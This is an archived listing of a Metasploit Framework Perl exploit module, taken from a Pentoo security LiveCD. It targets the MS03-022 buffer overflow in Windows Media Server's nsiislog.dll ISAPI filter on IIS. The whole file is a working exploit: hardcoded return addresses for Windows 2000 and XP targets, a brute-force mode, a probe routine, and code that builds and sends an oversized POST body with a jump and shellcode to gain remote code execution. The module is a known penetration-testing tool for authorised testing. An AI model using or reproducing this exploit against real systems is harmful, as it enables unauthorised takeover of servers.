home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / exploits / iis_nsiislog_post.pm < prev    next >
Text File  |  2006-06-30  |  4KB  |  172 lines

  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Exploit::iis_nsiislog_post;
  11. use base "Msf::Exploit";
  12. use strict;
  13. use Pex::Text;
  14.  
  15. my $advanced = { };
  16.  
  17. my $info =
  18.   {
  19.     'Name'    => 'IIS nsiislog.dll ISAPI POST Overflow',
  20.     'Version' => '$Revision: 1.5 $',
  21.     'Authors' => [ 'H D Moore <hdm [at] metasploit.com>', ],
  22.  
  23.     'Arch'  => [ 'x86' ],
  24.     'OS'    => [ 'win32' ],
  25.     'Priv'  => 0,
  26.     
  27.     'UserOpts'  =>
  28.       {
  29.         'RHOST' => [1, 'ADDR', 'The target address'],
  30.         'RPORT' => [1, 'PORT', 'The target port', 80],
  31.         'SSL'   => [0, 'BOOL', 'Use SSL'],
  32.       },
  33.  
  34.     'Payload' =>
  35.       {
  36.         'Space'  => 1024,
  37.         'BadChars'  => "\x00+&=%\x0a\x0d\x20",
  38.         'Keys' => ['+ws2ord'],
  39.       },
  40.  
  41.     'Description'  => Pex::Text::Freeform(qq{
  42.         This exploits a buffer overflow found in the nsiislog.dll
  43.         ISAPI filter that comes with Windows Media Server. This
  44.         module will also work against the 'patched' MS03-019
  45.         version. This vulnerability was addressed by MS03-022.
  46. }),
  47.  
  48.     'Refs'  =>
  49.       [
  50.         ['OSVDB',   '4535'],
  51.         ['MSB',     'MS03-022'],
  52.         ['URL',     'http://archives.neohapsis.com/archives/vulnwatch/2003-q2/0120.html'],
  53.         ['MIL',     '30'],
  54.       ],
  55.  
  56.     'DefaultTarget' => 0,
  57.     'Targets' =>
  58.       [
  59.         ['Bruteforce', 0, 0],
  60.         ['Windows 2000 Pre-MS03-019',   9769, 0x40f01333],
  61.         ['Windows 2000 Post-MS03-019', 13869, 0x40f01353],
  62.         ['Windows XP Pre-MS03-019',     9773, 0x40f011e0],
  63.       ],
  64.  
  65.     'Keys' => ['iis'],
  66.  
  67.     'DisclosureDate' => 'Jun 25 2003',
  68.   };
  69.  
  70. sub new {
  71.     my $class = shift;
  72.     my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  73.     return($self);
  74. }
  75.  
  76. sub Check {
  77.     my $self = shift;
  78.     my $target_host = $self->GetVar('RHOST');
  79.     my $target_port = $self->GetVar('RPORT');
  80.  
  81.     my $s = Msf::Socket::Tcp->new
  82.       (
  83.         'PeerAddr'  => $target_host,
  84.         'PeerPort'  => $target_port,
  85.         'LocalPort' => $self->GetVar('CPORT'),
  86.         'SSL'       => $self->GetVar('SSL'),
  87.       );
  88.     if ($s->IsError) {
  89.         $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  90.         return $self->CheckCode('Connect');
  91.     }
  92.  
  93.     $s->Send("GET /scripts/nsiislog.dll HTTP/1.1\r\nHost: $target_host:$target_port\r\n\r\n");
  94.  
  95.     my $r = $s->Recv(-1, 5);
  96.  
  97.     if ($r =~ /NetShow ISAPI/)
  98.     {
  99.         $self->PrintLine("[*] Found /scripts/nsiislog.dll ;)");
  100.         return $self->CheckCode('Detected');
  101.     } else {
  102.  
  103.         $self->PrintLine("The nsiislog.dll ISAPI does not appear to be installed");
  104.         return $self->CheckCode('Safe');
  105.     }
  106. }
  107.  
  108. sub Exploit {
  109.     my $self = shift;
  110.     my $target_host = $self->GetVar('RHOST');
  111.     my $target_port = $self->GetVar('RPORT');
  112.     my $target_idx  = $self->GetVar('TARGET');
  113.     my $shellcode   =$self->GetVar('EncodedPayload')->Payload;
  114.  
  115.     my @targets = @{$self->Targets};
  116.     if ($target_idx == 0)
  117.     {
  118.         shift(@targets);
  119.     } else {
  120.         @targets = ( $targets[$target_idx] );
  121.     }
  122.  
  123.     foreach my $target (@targets)
  124.     {
  125.         $self->PrintLine("[*] Attempting to exploit target " . $target->[0]);
  126.  
  127.         my $request =
  128.           "POST /scripts/nsiislog.dll HTTP/1.1\r\n".
  129.           "Host: $target_host:$target_port\r\n".
  130.           "User-Agent: NSPlayer/2.0\r\n".
  131.           "Content-Type: application/x-www-form-urlencoded\r\n";
  132.  
  133.         my @fields = split(/\s+/, "date time c-dns cs-uri-stem c-starttime ".
  134.               "x-duration c-rate c-status c-playerid c-playerversion ".
  135.               "c-playerlanguage cs(User-Agent) cs(Referer) c-hostexe ");
  136.         my $boom;
  137.         foreach my $var (@fields) { $boom .= "$var=BOOM&"; }
  138.  
  139.         my $pattern = "O" x 65535;
  140.  
  141.         substr($pattern, $target->[1],  4, pack("V", $target->[2]));
  142.         substr($pattern, $target->[1] - 4, 4, "\xeb\x08\xeb\x08");
  143.         substr($pattern, $target->[1] + 4, length($shellcode), $shellcode);
  144.  
  145.         $boom .= "c-ip=" . $pattern;
  146.         $request .= "Content-Length: " . length($boom) . "\r\n\r\n" . $boom;
  147.  
  148.         my $s = Msf::Socket::Tcp->new
  149.           (
  150.             'PeerAddr'  => $target_host,
  151.             'PeerPort'  => $target_port,
  152.             'LocalPort' => $self->GetVar('CPORT'),
  153.             'SSL'       => $self->GetVar('SSL'),
  154.           );
  155.         if ($s->IsError) {
  156.             $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  157.             return;
  158.         }
  159.  
  160.         $self->PrintLine("[*] Sending " .length($request) . " bytes to remote host.");
  161.         $s->Send($request);
  162.  
  163.         $self->PrintLine("[*] Waiting for a response...");
  164.         my $r = $s->Recv(-1, 5);
  165.         sleep(2);
  166.         $s->Close();
  167.     }
  168.  
  169.     return;
  170. }
  171.  
  172.